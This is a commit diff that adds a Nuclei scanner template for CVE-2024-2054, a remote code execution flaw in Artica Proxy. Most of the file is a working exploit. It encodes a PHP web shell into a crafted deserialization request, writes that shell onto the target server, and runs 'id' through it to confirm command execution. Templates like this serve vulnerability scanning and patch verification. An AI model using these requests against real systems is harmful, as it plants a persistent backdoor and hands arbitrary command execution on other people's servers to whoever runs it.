Update CVE-2024-2054 template structure

- Expand name to include 'Remote Code Execution' for clarity - Add impact and remediation sections - Remove FOFA query not from awesome-search-queries - Add verified metadata and max-request - Clean up tags and add proper verification metadata
Create CVE-2024-2054.yaml
2026-11-07 08:36:19 -10:00 · 2025-07-30 20:01:28 -05:00 · 2025-07-30 23:28:57 +05:30
1 changed files with 65 additions and 0 deletions
@@ -0,0 +1,65 @@
+id: CVE-2024-2054
+
+info:
+  name: Artica Proxy - Remote Code Execution
+  author: pussycat0x
+  severity: critical
+  description: |
+    This template targets a remote code execution vulnerability in Artica Proxy by exploiting a specific endpoint.
+  impact: |
+    Successful exploitation allows attackers to execute arbitrary commands on the server, potentially leading to full system compromise.
+  remediation: |
+    Update Artica Proxy to the latest version that addresses this vulnerability and implement proper input validation.
+  reference:
+    - https://github.com/0xMarcio/cve/blob/main/2024/CVE-2024-2054.md
+    - https://github.com/Madan301/CVE-2024-2054/blob/main/CVE-2024-2054.py
+    - https://github.com/tanjiti/sec_profile
+    - https://github.com/Madan301/CVE-2024-2054
+    - https://github.com/nomi-sec/PoC-in-GitHub
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-2054
+    cwe-id: CWE-502
+    epss-score: 0.79565
+    epss-percentile: 0.99025
+    cpe: cpe:2.3:a:articatech:artica_proxy:4.50:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: articatech
+    product: artica_proxy
+  tags: cve,cve2024,rce,artica,intrusive
+
+variables:
+  websh: '<?php system($_GET["cmd"]);?>'
+  payload: '{{base64(websh)}}'
+
+
+http:
+  - raw:
+      - |
+        GET /wizard/wiz.upload.php HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /wizard/wiz.wizard.progress.php?build-js=%7B'TzoxOToiTmV0X0ROUzJfQ2FjaGVfRmlsZSI':%20%7B'cache_file':%20'/usr/share/artica-postfix/wizard/meow.upload.php',%20'cache_serializer':%20'json',%20'cache_size':%20999999999,%20'cache_data':%20%7B'{{payload}}+':%20%7B'cache_date':%200,%20'ttl':%20999999999%7D%7D%7D%7D  HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.32.3
+
+      - | 
+        GET /wizard/wiz.upload.php?cmd=id HTTP/1.1
+        Host: {{Hostname}}
+
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "wiz.wizard.progress.php"
+
+      - type: regex
+        part: body
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"